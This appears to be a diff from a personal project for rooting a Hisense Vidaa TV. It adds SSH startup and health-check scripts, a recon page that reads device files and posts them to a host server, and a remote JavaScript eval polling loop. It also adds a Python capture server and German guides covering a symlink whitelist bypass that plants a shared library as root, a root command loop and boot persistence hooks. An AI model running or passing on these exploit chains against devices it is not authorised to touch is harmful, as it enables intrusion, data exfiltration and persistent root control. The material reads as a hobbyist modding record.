# /etc/passwd -> /3rd_rw/sshd/etc_passwd (root home -> /3rd_rw/sshd/home)
|
||||||
|
# /dev/pts -> devpts on /dev/shm/pts (PTY workaround; /dev is static ro)
|
||||||
|
# Must run as root. Idempotent.
|
||||||
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||||
|
export PATH
|
||||||
|
mkdir -p /3rd_rw/sshd
|
||||||
|
|
||||||
|
# 1) passwd bind mount (root home must be writable for ~/.ssh/authorized_keys)
|
||||||
|
if ! grep -q '^root:x:0:0:root:/3rd_rw/sshd/home:' /etc/passwd 2>/dev/null; then
|
||||||
|
mount --bind /3rd_rw/sshd/etc_passwd /etc/passwd 2>>/3rd_rw/sshd/mount.log \
|
||||||
|
|| mount -o bind /3rd_rw/sshd/etc_passwd /etc/passwd 2>>/3rd_rw/sshd/mount.log
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 2) PTY: /dev is a static ro squashfs, no devtmpfs. Mount devpts on tmpfs
|
||||||
|
# and bind it over /dev/pts. /dev/ptmx (5,2) remains the static node.
|
||||||
|
mkdir -p /dev/shm/pts
|
||||||
|
if ! grep -q ' /dev/shm/pts ' /proc/mounts; then
|
||||||
|
mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts 2>>/3rd_rw/sshd/mount.log \
|
||||||
|
|| mount -t devpts devpts /dev/shm/pts 2>>/3rd_rw/sshd/mount.log
|
||||||
|
fi
|
||||||
|
if ! grep -q ' /dev/pts ' /proc/mounts; then
|
||||||
|
mount --bind /dev/shm/pts /dev/pts 2>>/3rd_rw/sshd/mount.log
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 3) already running?
|
||||||
|
if [ -f /3rd_rw/sshd/dropbear.pid ]; then
|
||||||
|
PID=$(cat /3rd_rw/sshd/dropbear.pid)
|
||||||
|
if kill -0 "$PID" 2>/dev/null && grep -q dropbear "/proc/$PID/cmdline" 2>/dev/null; then
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
rm -f /3rd_rw/sshd/dropbear.pid
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 4) start key-only Dropbear (password auth is disabled at build time)
|
||||||
|
/3rd_rw/sshd/dropbear -r /3rd_rw/sshd/host_key -p 22 \
|
||||||
|
-P /3rd_rw/sshd/dropbear.pid -E >> /3rd_rw/sshd/dropbear.log 2>&1 &
|
||||||
Executable
+47
@@ -0,0 +1,47 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# verify.sh — quick health check for the rooted TV (run as root).
|
||||||
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||||
|
export PATH
|
||||||
|
D=/3rd_rw/sshd
|
||||||
|
|
||||||
|
echo "=== proof ==="
|
||||||
|
cat /3rd_rw/root_proof.txt 2>&1
|
||||||
|
|
||||||
|
echo "=== root loop ==="
|
||||||
|
cat /3rd_rw/appdata/root_loop.pid 2>&1
|
||||||
|
ps | grep root_loop | grep -v grep || true
|
||||||
|
|
||||||
|
echo "=== dropbear ==="
|
||||||
|
ps | grep dropbear | grep -v grep || true
|
||||||
|
cat /proc/net/tcp | grep -i ':0016' || true
|
||||||
|
/bin/busybox tail -n 10 "$D/dropbear.log" 2>&1 || true
|
||||||
|
|
||||||
|
echo "=== sftp (optional) ==="
|
||||||
|
if [ -f /3rd_rw/sshd/sftp-server ]; then
|
||||||
|
echo "sftp-server present"
|
||||||
|
else
|
||||||
|
echo "sftp-server missing (optional)"
|
||||||
|
fi
|
||||||
|
if grep -q '/3rd_rw/sshd/sftp-server' /3rd_rw/sshd/dropbear 2>/dev/null; then
|
||||||
|
echo "dropbear SFTP path OK"
|
||||||
|
else
|
||||||
|
echo "dropbear unpatched (optional; install_sftp.sh)"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "=== passwd / root home ==="
|
||||||
|
grep '^root:' /etc/passwd
|
||||||
|
|
||||||
|
echo "=== authorized key ==="
|
||||||
|
ls -l "$D/home/.ssh/authorized_keys" 2>&1
|
||||||
|
/bin/busybox head -c 120 "$D/home/.ssh/authorized_keys" 2>&1; echo
|
||||||
|
|
||||||
|
echo "=== mounts ==="
|
||||||
|
grep -E ' /etc/passwd | /dev/pts | /dev/shm/pts ' /proc/mounts
|
||||||
|
|
||||||
|
echo "=== current uid/gid (this shell) ==="
|
||||||
|
grep -E '^(Uid|Gid|CapEff):' /proc/self/status
|
||||||
|
|
||||||
|
echo "=== host key ==="
|
||||||
|
"$D/dropbearkey" -y -f "$D/host_key" 2>&1 | /bin/busybox tail -n 3 || true
|
||||||
|
|
||||||
|
echo "=== verify done ==="
|
||||||
@@ -0,0 +1,70 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<meta name="viewport" content="width=1920, height=1080">
|
||||||
|
<title>VIDAA Recon</title>
|
||||||
|
<style>
|
||||||
|
html,body{margin:0;height:100%;background:#000;color:#cfe3d5;
|
||||||
|
font-family:Consolas,"DejaVu Sans Mono",monospace;font-size:20px;}
|
||||||
|
pre{white-space:pre-wrap;word-break:break-word;padding:14px 18px;line-height:1.3;}
|
||||||
|
.sec{color:#6fb3ff;font-weight:bold;} .ok{color:#7bd88f;} .no{color:#e07a6a;} .warn{color:#e6c15a;}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<pre id="o">loading phase…</pre>
|
||||||
|
<script>
|
||||||
|
var O=document.getElementById("o"), collected=[];
|
||||||
|
function log(m,c){ if(O.textContent==="loading phase…") O.textContent=""; if(c){var d=document.createElement("span");d.className=c;d.textContent=m;O.insertBefore(d,O.firstChild);}else O.insertBefore(document.createTextNode(m),O.firstChild); collected.push(m); }
|
||||||
|
function sec(t){ log("\n==== "+t+" ====","sec"); }
|
||||||
|
function kv(k,v){ log("\n "+k+": "+v); }
|
||||||
|
function raw(l,t,max){ max=max||6000; var s=(t==null?"":String(t)); if(s.length>max) s=s.slice(0,max)+"\n …[+"+(s.length-max)+"]"; log("\n -- "+l+" --\n "+s.replace(/\n/g,"\n ")); }
|
||||||
|
function has(f){ return typeof window[f]==="function"; }
|
||||||
|
function fileXHR(path){ try{ var x=new XMLHttpRequest(); x.open("GET",path,false); x.send(null); if(x.status===200||x.status===0) return x.responseText; return null; }catch(e){ return "ERR:"+e; } }
|
||||||
|
function fileRead(rel,flag){ try{ if(typeof File!=="undefined"&&File.read) return File.read(rel,flag||1); }catch(e){ return "ERR:"+e; } return null; }
|
||||||
|
function parseListing(html){
|
||||||
|
if(html==null) return null;
|
||||||
|
var s=String(html); if(s.indexOf("ERR:")===0) return s;
|
||||||
|
var out=[], re=/addRow\(\s*"([^"]*)"\s*,\s*"([^"]*)"\s*,\s*(\d+)/g, m;
|
||||||
|
while((m=re.exec(s))!==null){
|
||||||
|
var name=m[1]; if(name==="."||name==="..") continue;
|
||||||
|
out.push((m[3]==="1"?"[D] ":"[F] ")+name);
|
||||||
|
}
|
||||||
|
return out.length? out.join("\n ") : "(empty or no addRow entries)";
|
||||||
|
}
|
||||||
|
function listDir(d){ var r=fileXHR("file://"+d+"/"); return parseListing(r); }
|
||||||
|
function readFile(p){ var r=fileXHR("file://"+p); if(r==null) return null; if(String(r).indexOf("ERR:")===0) return null; if(String(r).indexOf("<!DOCTYPE")===0) return "(directory)"; return r; }
|
||||||
|
function shipNow(){
|
||||||
|
var payload="PHASE "+location.href+"\nTIME "+new Date().toISOString()+"\n\n"+collected.join("");
|
||||||
|
log("\n\n[shipping "+collected.join("").length+" chars…]");
|
||||||
|
fetch("/recon",{method:"POST",headers:{"Content-Type":"text/plain"},body:payload})
|
||||||
|
.then(function(r){ log("\n[shipped "+r.status+"]","ok"); })
|
||||||
|
.catch(function(e){ log("\n[ship FAILED "+e+"]","no"); });
|
||||||
|
}
|
||||||
|
window.__recon={log:log,sec:sec,kv:kv,raw:raw,has:has,fileXHR:fileXHR,fileRead:fileRead,parseListing:parseListing,listDir:listDir,readFile:readFile,shipNow:shipNow,collected:collected};
|
||||||
|
fetch("/phase.js?t="+Date.now()).then(function(r){return r.text();})
|
||||||
|
.then(function(code){ (function(R){ with(R){ eval(code); } })(window.__recon); })
|
||||||
|
.catch(function(e){ log("\nload phase.js FAILED: "+e,"no"); });
|
||||||
|
|
||||||
|
// LIVE HOOK: polls /cmd, evals one JS command, reports the completion value.
|
||||||
|
// One page reload is needed after this file changes; afterwards commands can be
|
||||||
|
// sent by dropping JS into live_cmd.txt on the host.
|
||||||
|
function __liveEval(code){
|
||||||
|
try { return (function(R){ with(R){ return eval(code); } })(window.__recon); }
|
||||||
|
catch(e){ return "LIVE_ERR: "+e; }
|
||||||
|
}
|
||||||
|
function __livePoll(){
|
||||||
|
fetch("/cmd?t="+Date.now()).then(function(r){
|
||||||
|
if(r.status!==200) return null;
|
||||||
|
return r.text().then(function(code){
|
||||||
|
if(!code) return;
|
||||||
|
var out=__liveEval(code);
|
||||||
|
var payload="LIVE CMD:\n"+code+"\n\nLIVE RESULT:\n"+String(out);
|
||||||
|
fetch("/recon",{method:"POST",headers:{"Content-Type":"text/plain"},body:payload});
|
||||||
|
});
|
||||||
|
}).catch(function(e){}).then(function(){ setTimeout(__livePoll,600); });
|
||||||
|
}
|
||||||
|
setTimeout(__livePoll,1500);
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,108 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Serves recon.html to the TV and captures what the TV POSTs back.
|
||||||
|
Run: python3 server.py [port] (default 9000)
|
||||||
|
The TV opens http://<this-pc-ip>:9000/ in its built-in browser.
|
||||||
|
Captures land in ./captures/ as timestamped .txt files.
|
||||||
|
"""
|
||||||
|
import http.server, socketserver, os, sys, datetime, itertools, urllib.parse
|
||||||
|
|
||||||
|
HERE = os.path.dirname(os.path.abspath(__file__))
|
||||||
|
CAP = os.path.join(HERE, "captures"); os.makedirs(CAP, exist_ok=True)
|
||||||
|
PAGE = os.path.join(HERE, "recon.html")
|
||||||
|
SEQ = itertools.count()
|
||||||
|
|
||||||
|
class H(http.server.BaseHTTPRequestHandler):
|
||||||
|
def log_message(self, *a): pass
|
||||||
|
def _send(self, code, body, ctype="text/html; charset=utf-8"):
|
||||||
|
self.send_response(code)
|
||||||
|
self.send_header("Content-Type", ctype)
|
||||||
|
self.send_header("Content-Length", str(len(body)))
|
||||||
|
self.send_header("Cache-Control", "no-store")
|
||||||
|
self.send_header("Access-Control-Allow-Origin", "*")
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(body)
|
||||||
|
def do_GET(self):
|
||||||
|
# Live command channel: the TV polls /cmd; the host drops a JS command
|
||||||
|
# into live_cmd.txt. The file is consumed atomically enough for one TV.
|
||||||
|
if self.path.split("?")[0] != "/cmd":
|
||||||
|
print(f"[GET] {self.path} ua={self.headers.get('User-Agent','')[:40]}", flush=True)
|
||||||
|
if self.path.split("?")[0] == "/cmd":
|
||||||
|
cp = os.path.join(HERE, "live_cmd.txt")
|
||||||
|
try:
|
||||||
|
if os.path.exists(cp):
|
||||||
|
with open(cp, "rb") as fh: body = fh.read()
|
||||||
|
os.remove(cp)
|
||||||
|
self._send(200, body, "text/plain; charset=utf-8")
|
||||||
|
else:
|
||||||
|
self._send(204, b"", "text/plain; charset=utf-8")
|
||||||
|
except Exception as e:
|
||||||
|
self._send(500, str(e).encode(), "text/plain; charset=utf-8")
|
||||||
|
return
|
||||||
|
if self.path.startswith("/pub/"):
|
||||||
|
name = os.path.basename(urllib.parse.urlsplit(self.path).path)
|
||||||
|
p = os.path.join(HERE, "pub", name)
|
||||||
|
if os.path.exists(p):
|
||||||
|
with open(p, "rb") as fh:
|
||||||
|
body = fh.read()
|
||||||
|
self.send_response(200)
|
||||||
|
self.send_header("Content-Type", "application/octet-stream")
|
||||||
|
self.send_header("Content-Disposition", 'attachment; filename="%s"' % name)
|
||||||
|
self.send_header("Content-Length", str(len(body)))
|
||||||
|
self.send_header("Cache-Control", "no-store")
|
||||||
|
self.send_header("Access-Control-Allow-Origin", "*")
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(body)
|
||||||
|
else:
|
||||||
|
self._send(404, b"not found", "text/plain")
|
||||||
|
return
|
||||||
|
routes = {
|
||||||
|
"/": PAGE,
|
||||||
|
"/recon.html": PAGE,
|
||||||
|
"/index.html": PAGE,
|
||||||
|
"/phase2.html": os.path.join(HERE, "phase2.html"),
|
||||||
|
"/phase.js": os.path.join(HERE, "phase.js"),
|
||||||
|
"/icon.png": os.path.join(HERE, "icon.png"),
|
||||||
|
}
|
||||||
|
f = routes.get(self.path.split("?")[0])
|
||||||
|
if f and os.path.exists(f):
|
||||||
|
if f.endswith(".png"): ctype = "image/png"
|
||||||
|
elif f.endswith(".js"): ctype = "application/javascript; charset=utf-8"
|
||||||
|
else: ctype = "text/html; charset=utf-8"
|
||||||
|
with open(f, "rb") as fh: self._send(200, fh.read(), ctype)
|
||||||
|
else:
|
||||||
|
self._send(404, b"not found", "text/plain")
|
||||||
|
def do_POST(self):
|
||||||
|
path = urllib.parse.urlsplit(self.path).path
|
||||||
|
if path == "/dump":
|
||||||
|
q = urllib.parse.parse_qs(urllib.parse.urlsplit(self.path).query)
|
||||||
|
off = int(q.get("off", ["0"])[0])
|
||||||
|
total = int(q.get("total", ["0"])[0])
|
||||||
|
name = os.path.basename(q.get("name", ["libomi.so"])[0]) or "libomi.so"
|
||||||
|
n = int(self.headers.get("Content-Length", 0))
|
||||||
|
body = self.rfile.read(n)
|
||||||
|
d = os.path.join(HERE, ".re", "dumps", "tv")
|
||||||
|
os.makedirs(d, exist_ok=True)
|
||||||
|
p = os.path.join(d, name)
|
||||||
|
with open(p, "wb" if off == 0 else "r+b") as f:
|
||||||
|
f.seek(off)
|
||||||
|
f.write(body)
|
||||||
|
print(f"[+] dump off={off} len={len(body)} total={total}", flush=True)
|
||||||
|
self._send(200, b"ok", "text/plain")
|
||||||
|
return
|
||||||
|
if path != "/recon":
|
||||||
|
self._send(404, b"not found", "text/plain"); return
|
||||||
|
n = int(self.headers.get("Content-Length", 0))
|
||||||
|
body = self.rfile.read(n).decode("utf-8", "replace")
|
||||||
|
ts = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
|
||||||
|
seq = next(SEQ)
|
||||||
|
p = os.path.join(CAP, f"recon-{ts}-{seq:06d}.txt")
|
||||||
|
with open(p, "w") as f: f.write(body)
|
||||||
|
print(f"[+] captured {len(body)} bytes -> {p}", flush=True)
|
||||||
|
self._send(200, b"ok", "text/plain")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
port = int(sys.argv[1]) if len(sys.argv) > 1 else 9000
|
||||||
|
socketserver.TCPServer.allow_reuse_address = True
|
||||||
|
with socketserver.ThreadingTCPServer(("0.0.0.0", port), H) as httpd:
|
||||||
|
print(f"[*] serving recon on http://0.0.0.0:{port}/ (captures -> {CAP})", flush=True)
|
||||||
|
httpd.serve_forever()
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
# TV-Modding Skills — Hisense HE40E5600FFWTS (Vidaa U)
|
||||||
|
|
||||||
|
Kompakte, action-first Skills zum Modden dieses TVs. Jede Datei = „ich will X
|
||||||
|
tun → so geht's, inkl. Stolperfallen“. Für Tiefe/Belege siehe `../modding/`
|
||||||
|
und `../root/ROOT-GUIDE.md`.
|
||||||
|
|
||||||
|
| Skill | Datei | Ein-Satz-Zweck |
|
||||||
|
|---|---|---|
|
||||||
|
| File-API & Schreibrechte | `fileapi-permissions.md` | Root-JS-APIs lesen/schreiben, Whitelist, Symlink-Bypass |
|
||||||
|
| Root-Ausführung & Persistenz | `root-execution.md` | Root-Loop, SSH, Boot-Hooks, AM-Steuerung |
|
||||||
|
| Payload-Deploy | `payload-deploy.md` | Dateien/Binaries ohne Package Manager auf den TV |
|
||||||
|
| UI / Launcher / Bloat | `ui-launcher-bloat.md` | App-Tiles, UI-Seite, Services an/aus |
|
||||||
|
|
||||||
|
## Kurz-Cheat-Sheet (die drei wichtigsten Primitive)
|
||||||
|
|
||||||
|
```js
|
||||||
|
// Lesen (Text)
|
||||||
|
fileXHR("file:///3rd_rw/appdata/root_out.txt");
|
||||||
|
|
||||||
|
// Schreiben (Text; binär => EINVAL)
|
||||||
|
HiBrowser.File.write("root_cmd.sh", "id\n", 1);
|
||||||
|
|
||||||
|
// Binär schreiben (byte-exakt, curl)
|
||||||
|
HiBrowser.File.download("http://<host>:9000/pub/x", "x", 1);
|
||||||
|
|
||||||
|
// Root-Befehl ausführen (Loop läuft als root)
|
||||||
|
HiBrowser.File.write("root_cmd.sh", "/bin/sh /3rd_rw/appdata/verify.sh\n", 1);
|
||||||
|
```
|
||||||
|
|
||||||
|
**Whitelist (wichtigste Regel):** Schreiben/Download geht nur relativ zu
|
||||||
|
`/3rd_rw/appdata`, `/dev/shm/shm_tmp`, `/3rd/launcher/data` — oder über den
|
||||||
|
dangling ext4-USB-Symlink-Bypass. Details: `fileapi-permissions.md`.
|
||||||
|
|
||||||
|
**Rettungsweg:** SSH `root@192.168.188.94` (Dropbear, key-only). Nie wegwerfen.
|
||||||
@@ -0,0 +1,65 @@
|
|||||||
|
# Skill: File-API & Schreibrechte (`HiBrowser.File`)
|
||||||
|
|
||||||
|
## Wo die API läuft
|
||||||
|
|
||||||
|
Zwei Root-Webprozesse, beide UID/GID 0, volle `CapEff`, kein Seccomp:
|
||||||
|
|
||||||
|
- **`hisense_browser`** (Web-Browser, DevTools 9224): `--allow-file-access-from-files`.
|
||||||
|
Hier läuft unser Recon (`recon.html`). Hat `HiBrowser.*`, `Hisense_*`, `File`.
|
||||||
|
- **`hisenseUI`** (TV-UI, DevTools 9223): `--disable-web-security`. Andere Globals
|
||||||
|
(`Hisense_*`/`TVAPI`/`guijs`/`model`), Signaturen im DevTools prüfen.
|
||||||
|
|
||||||
|
## Schreib-/Lese-Primitive
|
||||||
|
|
||||||
|
| Aufruf | Semantik | Binär? |
|
||||||
|
|---|---|---|
|
||||||
|
| `HiBrowser.File.write(name, text, 1)` | Text schreiben (relativ zu Whitelist-Root) | **nein** → `EINVAL` (22) |
|
||||||
|
| `HiBrowser.File.download(url, target, 1)` | Datei byte-exakt holen (curl), auch `file://` | **ja** |
|
||||||
|
| `HiBrowser.File.read(rel, flag)` / global `File.read` | Text lesen | — |
|
||||||
|
| `fileXHR("file://<abs>")` | XHR-GET auf `file://`, liest Datei/Verzeichnis | Text |
|
||||||
|
|
||||||
|
Verzeichnis-Listing: `fileXHR("file://<dir>/")` liefert HTML mit
|
||||||
|
`addRow(name, size, isDir)` → `listDir()` in `recon.html`.
|
||||||
|
|
||||||
|
## Whitelist (`IsSubDentry`)
|
||||||
|
|
||||||
|
Schreiben/Download erlaubt **nur** relativ zu diesen Präfixen:
|
||||||
|
|
||||||
|
```
|
||||||
|
/3rd_rw/appdata
|
||||||
|
/dev/shm/shm_tmp
|
||||||
|
/3rd/launcher/data
|
||||||
|
```
|
||||||
|
|
||||||
|
Prüfung: `realpath` + Präfix-Vergleich, **kein Trailing-Slash**. Pfad außerhalb
|
||||||
|
→ Fehler.
|
||||||
|
|
||||||
|
## Symlink-Bypass (darf überall hin schreiben)
|
||||||
|
|
||||||
|
Ein **dangling Symlink** auf einem **ext4-USB-Stick** durchbricht die Whitelist:
|
||||||
|
|
||||||
|
1. TV mountet den Stick als `/mnt/usb/<dev>` (JS-Sicht) =
|
||||||
|
`/dev/shm/shm_tmp/mnt/usb/<dev>` (real). **Der Elternpfad liegt in der Whitelist.**
|
||||||
|
2. `realpath` scheitert am fehlenden Ziel → Prüfung läuft ins Leere, Präfix passt.
|
||||||
|
3. `fopen` folgt dem Symlink und legt die Zieldatei **als root überall** an.
|
||||||
|
|
||||||
|
```js
|
||||||
|
// plant_payload.js: schreibt libtvsysinfo.so nach /3rd_rw/loglevel/lib/
|
||||||
|
var usb = "/mnt/usb/sda1";
|
||||||
|
var target = "so/../../../../dev/shm/shm_tmp" + usb + "/tvi"; // tvi -> /3rd_rw/loglevel/lib/libtvsysinfo.so
|
||||||
|
HiBrowser.File.download(location.origin + "/pub/libtvsysinfo.so", target, 1);
|
||||||
|
```
|
||||||
|
|
||||||
|
Bedingungen:
|
||||||
|
|
||||||
|
- **ext4**, nicht FAT32 (keine Symlinks). Kernel 3.18: `mkfs.ext4 -O ^64bit,^metadata_csum`,
|
||||||
|
MBR + Partition (kein Superfloppy).
|
||||||
|
- Symlink **muss dangling bleiben** (Ziel existiert noch nicht).
|
||||||
|
|
||||||
|
## Fallstricke
|
||||||
|
|
||||||
|
- `File.write` mit Binärdaten → `EINVAL`. Binär immer `File.download`.
|
||||||
|
- `HiBrowser.loadLibrary` lädt nichts (Dead End) — nicht als API verwenden.
|
||||||
|
- `UNVERIFIED`: exakte `Hisense_*`-Signaturen der UI; `File.read`-Flag-Semantik je Prozess.
|
||||||
|
|
||||||
|
Siehe: `../modding/03-ui.md`, `../modding/06-toolchain-deploy.md`, `../dead-ends.md`.
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
# Skill: Payload-Deploy (Dateien auf den TV)
|
||||||
|
|
||||||
|
Kein Package Manager (kein apt/opkg/…). Binaries/Skripte kommen als
|
||||||
|
**statische ARM-Binaries** (ARMv7, glibc 2.18, Kernel 3.18) auf den TV.
|
||||||
|
|
||||||
|
## Wege
|
||||||
|
|
||||||
|
| Weg | Für | Beispiel |
|
||||||
|
|---|---|---|
|
||||||
|
| `File.download` | Binär (byte-exakt) | `HiBrowser.File.download("http://<host>:9000/pub/x","x",1)` |
|
||||||
|
| `File.write` | Text (Skripte/JSON) | `HiBrowser.File.write("x.sh","id\n",1)` |
|
||||||
|
| Root-Loop | als root ausführen | `root_cmd.sh` → `root_out.txt` |
|
||||||
|
| SSH + base64 | Binär | `base64 -w0 x \| ssh root@TV 'base64 -d > /3rd_rw/bin/x'` |
|
||||||
|
| SSH + tar | viele Dateien | `tar czf - d \| ssh root@TV 'tar xzf - -C /3rd_rw'` |
|
||||||
|
| USB | Dateien auf ext4-Stick | `/mnt/usb/<dev>` |
|
||||||
|
| scp/sftp | nach SFTP-Install | `scp f root@TV:/3rd_rw/...` |
|
||||||
|
|
||||||
|
## Regeln
|
||||||
|
|
||||||
|
- rw-Partitionen: `/3rd_rw`, `/data`, `/perm`. Rootfs & `/3rd` sind squashfs-**ro** →
|
||||||
|
ro-Dateien via `mount --bind` aus `/3rd_rw` ersetzen (kein overlayfs).
|
||||||
|
- `File.download`-Ziel muss in der Whitelist liegen oder Symlink-Bypass nutzen
|
||||||
|
(siehe `fileapi-permissions.md`).
|
||||||
|
- Builds reproduzierbar: `../root/scripts/host/build_dropbear.sh`,
|
||||||
|
`build_sftp_server.sh`, `build_payload.sh`; Checks `sha256sum -c SHA256SUMS`.
|
||||||
|
|
||||||
|
Siehe: `../modding/06-toolchain-deploy.md`, `../modding/01-system-linux.md`.
|
||||||
@@ -0,0 +1,45 @@
|
|||||||
|
# Skill: Root-Ausführung & Persistenz
|
||||||
|
|
||||||
|
## Root-Loop (Kommando-Kanal)
|
||||||
|
|
||||||
|
`/3rd_rw/appdata/root_loop.sh` läuft als root, pollt `root_cmd.sh`, führt aus,
|
||||||
|
schreibt `root_out.txt`.
|
||||||
|
|
||||||
|
```js
|
||||||
|
HiBrowser.File.write("root_cmd.sh",
|
||||||
|
"id; cat /proc/self/status | grep -E '^(Uid|Gid|CapEff):'\n", 1);
|
||||||
|
// ~2-5 s warten:
|
||||||
|
fileXHR("file:///3rd_rw/appdata/root_out.txt"); // uid=0(root), CapEff=0000003fffffffff
|
||||||
|
```
|
||||||
|
|
||||||
|
Fertiges Snippet: `../root/scripts/host/run_root_cmd.js`.
|
||||||
|
|
||||||
|
## SSH (Rettungsweg)
|
||||||
|
|
||||||
|
- Dropbear, **key-only** root, Port 22. `ssh root@192.168.188.94`.
|
||||||
|
- SFTP/`scp` erst nach `../root/scripts/host/install_sftp.sh` (statischer
|
||||||
|
OpenSSH-sftp-server, Test 2222 → 22). Vorher: `ssh`+`base64`/`tar`/`File.download`.
|
||||||
|
- PTY-Gotcha: `/dev` ist statisch-ro (kein devtmpfs). `mount -t devpts` auf
|
||||||
|
`/dev/shm/pts` + `bind /dev/pts`; `/etc/passwd`-Bindmount nötig (Root-Home `/basic` ro).
|
||||||
|
|
||||||
|
## Persistenz (Boot-Hooks)
|
||||||
|
|
||||||
|
| Hook | Zeitpunkt | Datei |
|
||||||
|
|---|---|---|
|
||||||
|
| Früher Root-Hook | vor ms_service/hisenseUI/app_man/delayrun | `/3rd_rw/developer.sh` (Zeile 90) |
|
||||||
|
| Später Wrapper | nach ~15 s | `/3rd_rw/hamservice/HamService` (`hamservice-wrapper.sh`) |
|
||||||
|
|
||||||
|
Fehler in `developer.sh` kann Boot/UI stören → `set -x`+Log, SSH als Fallback.
|
||||||
|
|
||||||
|
## App-/Service-Steuerung (AM)
|
||||||
|
|
||||||
|
```js
|
||||||
|
HiBrowser.System.startApp(":am,<app>,:start=<val>");
|
||||||
|
HiBrowser.System.startApp(":am,opera4x,:URL=http://<host>:9000/recon.html");
|
||||||
|
HiBrowser.System.startApp(":am,opera4x,:stop=opera4x");
|
||||||
|
```
|
||||||
|
|
||||||
|
- UI-Kontext: `Hisense_StartApp(...)` (Signatur `UNVERIFIED`, im DevTools prüfen).
|
||||||
|
- `startApp` kennt **kein** exec/run/args (Dead End).
|
||||||
|
|
||||||
|
Siehe: `../root/ROOT-GUIDE.md`, `../modding/02-boot.md`, `../modding/06-toolchain-deploy.md`.
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
# Skill: UI / Launcher / Bloat
|
||||||
|
|
||||||
|
Sicherster Einstieg = eigene App-Tile (reversibel, UI bleibt heil). Danach
|
||||||
|
Launcher-Daten, erst zuletzt die UI-Seite selbst.
|
||||||
|
|
||||||
|
## Route A — eigene App-Tile (sicher)
|
||||||
|
|
||||||
|
`/3rd_rw/appdata/launcher/Appinfo.json` (JSON-Array) um ein Web-App-Objekt
|
||||||
|
erweitern; `File.write` (Text) oder SSH. Template: `../modding/templates/custom-app.json`.
|
||||||
|
|
||||||
|
## Route B — UI-Seite ersetzen (riskant)
|
||||||
|
|
||||||
|
`/3rd_rw/UI/index.html` (PIXI-UI). **Vorher Backup**, SSH/Web-Browser als
|
||||||
|
Rettungsweg, `hisenseUI`-Prozess danach neu starten. Templates:
|
||||||
|
`../modding/templates/custom-ui.html` + `start-UI-custom.sh`.
|
||||||
|
|
||||||
|
## Route C — Launcher-Daten / Tiles
|
||||||
|
|
||||||
|
- `preset.txt` — 26 Preset-Tiles
|
||||||
|
- `deletedPresetApp.txt` — JSON-Array ausgeblendeter Tiles (`[]` = alle sichtbar)
|
||||||
|
- `Appinfo.json` — selbst installierte Apps
|
||||||
|
- `data/Category*.xml`, `CategoryList_*.xml`, `PicInfo.xml` — Kategorien/App-Daten
|
||||||
|
|
||||||
|
Template: `../modding/templates/hide-preset.json`.
|
||||||
|
|
||||||
|
## Bloat (kein Flash)
|
||||||
|
|
||||||
|
- Tiles ausblenden: `deletedPresetApp.txt`.
|
||||||
|
- Native Apps/Services: `/basic/am_start.ini`, `/basic/am_config`,
|
||||||
|
`/basic/delayrun.sh`, Stubs in `/3rd_rw/developer.sh` (`../modding/05-bloat.md`).
|
||||||
|
- Was gefahrlos deaktivierbar ist → Matrix in `../modding/05-bloat.md`.
|
||||||
|
|
||||||
|
## Service-Stub
|
||||||
|
|
||||||
|
`../modding/templates/developer.sh` — früher Root-Hook, eigener Service/Binary.
|
||||||
|
|
||||||
|
## Warnung
|
||||||
|
|
||||||
|
`/3rd_rw/patch/opera4x` ist ein **full bind mount** über `/3rd/opera4x` (ersetzt
|
||||||
|
alles). Für Einzeldateien lieber `developer.sh` + Datei-Bind-Mount.
|
||||||
|
|
||||||
|
Siehe: `../modding/03-ui.md`, `../modding/04-modding.md`, `../modding/05-bloat.md`.
|
||||||
Binary file not shown.
Binary file not shown.
Reference in new issue
Block a user